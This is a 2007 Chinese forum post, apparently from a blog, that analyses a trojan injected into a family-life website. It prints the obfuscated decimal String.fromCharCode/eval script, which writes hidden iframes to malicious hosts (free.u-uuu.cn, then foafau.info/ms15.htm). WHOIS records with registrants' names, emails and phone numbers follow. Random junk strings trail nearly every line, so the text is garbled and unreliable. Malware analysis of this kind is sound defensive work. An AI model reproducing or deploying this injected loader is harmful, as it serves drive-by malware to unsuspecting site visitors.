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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, w.F3o4YP  
Yw1q2jT  
http://www.areway.cn/?p=175 q\pc2Lh?^  
SD.*G'N&2f  
g8 *|" {  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: ]~<T` )Hi  
          5xV/&N  
<script>t=’60,105,102,114,97,109,101, C5z  
32,115,114,99,61,104,116,116,112,58,47,47, I$qtfGr  
102,114,101,101,46,117,45,117,117,117,46,99, McI4oD~"  
110,47,101,114,114,111,114,46,104,116,109, {]m e?I  
32,119,105,100,116,104,61,49,48,48,32,104, -a^sX%|Bl  
101,105,103,104,116,61,48,62,60,47,105,102, =ir;m  
114,97,109,101,62′; XV9'[V  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> s#Y7*?Sm  
                                                                                                  ;8x^9Q  
<script>t=’60,105,102,114,97,109,101,32,115,  D)eKq!_  
114,99,61,104,116,116,112,58,47,47,102,114, >0okb3+  
101,101,46,117,45,117,117,117,46,99,110,47, e&7}N Za  
101,114,114,111,114,46,104,116,109,32,119, v__Go kj-  
105,100,116,104,61,49,48,48,32,104,101,105, RX|&cY>  
103,104,116,61,48,62,60,47,105,102,114,97, (#Kvm  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); lVBy&f  
document.write(t);</script> r ($t.iS  
                                                                                                  ',ybHW%D%i  
<html xmlns=” ba1QFzN  
http://www.w3.org/1999/xhtml x,*t/nzR  
“> .4)P=*  
<head> 2"K~:Tm#w  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> !g:G{b  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> ?\$/#zak  
<title>首页 - 爱生活家庭网 }Nc!8'@  
                                                                                                                                                    .Zz7LG{  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 ^[NmNi*  
转换字符串后的大概内容是(谁点击后果自付): "_}D{ws1  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… WC&Ltw8  
                                                                                                                                  ,<WykeC  
查询玉米u-uuu.cn的详细信息: lMf5F8  
Domain Name: u-uuu.cn , &f20o  
ROID: 20070901s10001s64972306-cn )8>f  
Domain Status: ok vK>^#b3  
Registrant Organization: 王雷 ] :#IZ0#  
Registrant Name: 王雷 lGgKzi9VD  
Administrative Email: czlovexs@126.com c{P`oB8  
Sponsoring Registrar: 北京万网志成科技有限公司 W n mRRq^  
Name Server:ns.yovole.com P@![P Ij  
Name Server:ns1.yovole.com *Bz&  
Registration Date: 2007-09-01 17:54 g2_df3Q  
Expiration Date: 2008-09-01 17:54 qUg4-Z4  
最后PING了一下地址 都没有什么…. J4^cd  
                                                                                                !@ '2  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. LBi>D`]  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> JKbB,  
<script language=”javascript” src=” *zht(~%  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script P z!yIj  
> z Ns8\  
这个玉米应该有可能是木马作者的: X~4:sJ\P=  
foafau.info的详细信息: 8jx1W9=`9[  
Access to INFO WHOIS information is provided to assist persons in 6Izv&  
determining the contents of a domain name registration record in the vwD(J.;  
Afilias registry database. The data in this record is provided by DKCy h`  
Afilias Limited for informational purposes only, and Afilias does not ^%@.Vvz<  
guarantee its accuracy.  This service is intended only for query-based  ?wY.B  
access. You agree that you will use this data only for lawful purposes gJv^v`X  
and that, under no circumstances will you use this data to: (a) allow, {vlh ,0~  
enable, or otherwise support the transmission by e-mail, telephone, or Oz7v hOU  
facsimile of mass unsolicited, commercial advertising or solicitations :!\./z8v  
to entities other than the data recipient’s own existing customers; or 'gH#\he[Dh  
(b) enable high volume, automated, electronic processes that send $B/cj^3  
queries or data to the systems of Registry Operator, a Registrar, or aN3{\^  
Afilias except as reasonably necessary to register domain names or {q4"x5|  
modify existing registrations. All rights reserved. Afilias reserves &zy9}4w,  
the right to modify these terms at any time. By submitting this query, $ wB  
you agree to abide by this policy. AVZ@?aJgF  
Domain ID:D22418703-LRMS nClU 5  
Domain Name:FOAFAU.INFO Agf!6kh  
Created On:20-Nov-2007 16:05:42 UTC FvP1;E  
Last Updated On:20-Nov-2007 16:05:44 UTC 2p ,6=8^v  
Expiration Date:20-Nov-2008 16:05:42 UTC [: j_Y3-9  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) /_(Dq8^g@  
Status:CLIENT DELETE PROHIBITED M 4?3l  
Status:CLIENT RENEW PROHIBITED 9hzU@m  
Status:CLIENT TRANSFER PROHIBITED (*gpa:Sc  
Status:CLIENT UPDATE PROHIBITED &6EfybAt^_  
Status:TRANSFER PROHIBITED )HE yTHLtJ  
Registrant ID:GODA-040110615 > `M\xt  
Registrant Name:liu hong S>Y?QQ3#wp  
Registrant Organization: Ymvd= F   
Registrant Street1:beijing gk` .8o  
Registrant Street2: ?[">%^  
Registrant Street3: 4 XQ?By  
Registrant City:beijing U7=Z.*/62  
Registrant State/Province: _Pal)re]U  
Registrant Postal Code:100000 7 #N @B  
Registrant Country:CN HOG7||&y  
Registrant Phone:+86.860108888777 O}V2> W$  
Registrant Phone Ext.: ;0E 4S  
Registrant FAX: p,fin?nW c  
Registrant FAX Ext.: =;T[2:JUu  
Registrant Email:bbbshiji@163.com p04w 83 jX  
Admin ID:GODA-240110615 V5 w^Le_^  
Admin Name:liu hong R4;6Oi)  
Admin Organization: 39CPFgi<l*  
Admin Street1:beijing nU)f]4q{Ec  
Admin Street2: ~K`bl W47  
Admin Street3: `^[ra% a  
Admin City:beijing yhmW-#+^e  
Admin State/Province: Lf9h;z>#  
Admin Postal Code:100000 ^g\%VIOD  
Admin Country:CN f*Bc`+G  
Admin Phone:+86.860108888777 yvvR%]!.  
Admin Phone Ext.: {n'}S(  
Admin FAX: bE"CSK#  
Admin FAX Ext.: /2q%'"x(  
Admin Email:bbbshiji@163.com 3]P=co@  
Billing ID:GODA-340110615 ?`$4ZDM  
Billing Name:liu hong |Gi/=[Tp  
Billing Organization: +L6$Xm5DAv  
Billing Street1:beijing ly@CX((W  
Billing Street2: zx*f*L,6F  
Billing Street3: ?1sY S  
Billing City:beijing #96a7K  
Billing State/Province: ;Wdo*ysW  
Billing Postal Code:100000 LTHS&3% 2  
Billing Country:CN S;~_9i]upe  
Billing Phone:+86.860108888777 I%Z &i-33y  
Billing Phone Ext.: b`mEnI VIz  
Billing FAX: Tj:F Qnx  
Billing FAX Ext.: mx2 Jt1  
Billing Email:bbbshiji@163.com B7;MY6h#  
Tech ID:GODA-140110615 " B1' K8  
Tech Name:liu hong (%1*<6ka  
Tech Organization: c 9@*  
Tech Street1:beijing lk|/N^8M  
Tech Street2: gqG"t@Y+  
Tech Street3: !O*n6}nPE  
Tech City:beijing <V{BRRx  
Tech State/Province: QHK$  
Tech Postal Code:100000 YeVhWPn@  
Tech Country:CN \JchcQ  
Tech Phone:+86.860108888777 n$QFj'  
Tech Phone Ext.: (TPD!=  
Tech FAX: Bb)J8,LQ  
Tech FAX Ext.: n)yqb  
Tech Email:bbbshiji@163.com ,ic}   
Name Server:NS27.DOMAINCONTROL.COM 7VraWW`H'  
Name Server:NS28.DOMAINCONTROL.COM )I@iW\`7  
Name Server: `XQ5>c  
Name Server: Sl1N V  
Name Server: Lfor 0-j  
Name Server: cQjJ9o7  
Name Server: 23PSv8;EM  
Name Server: _" n4SXhq  
Name Server: |Cm}%sgR\0  
Name Server: 4p]Y`];U  
Name Server: %{Gqhb=u\  
Name Server: 5"+* c@L  
Name Server: a%kj)ah  
                                                                                                          !jm a --  
接着下载每个文件里面的代码: s*;~CH-[  
一步一步看.. UOyP6ej  
U4g ZW]F  
`#hy'S:e  
2mRso.Ah  
B(~D*H2T[  
9I9)5`d|Jn  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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